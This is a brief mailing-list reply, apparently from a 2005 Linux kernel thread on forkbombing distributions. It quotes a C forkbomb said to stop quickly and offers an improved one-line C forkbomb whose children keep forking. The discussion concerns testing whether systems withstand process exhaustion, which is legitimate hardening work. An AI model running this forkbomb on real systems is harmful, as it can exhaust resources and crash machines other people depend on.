Messages in this thread | | | Date | Wed, 23 Mar 2005 10:05:43 -0800 | From | Paul Jackson <> | Subject | Re: forkbombing Linux distributions |
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> int main() { while(1) { fork(); fork(); exit(); } } > ... > the above forkbomb will stop quickly
Yep.
Try this forkbomb:
int main() { while(1) { if (!fork()) continue; if (!fork()) continue; exit(); } }
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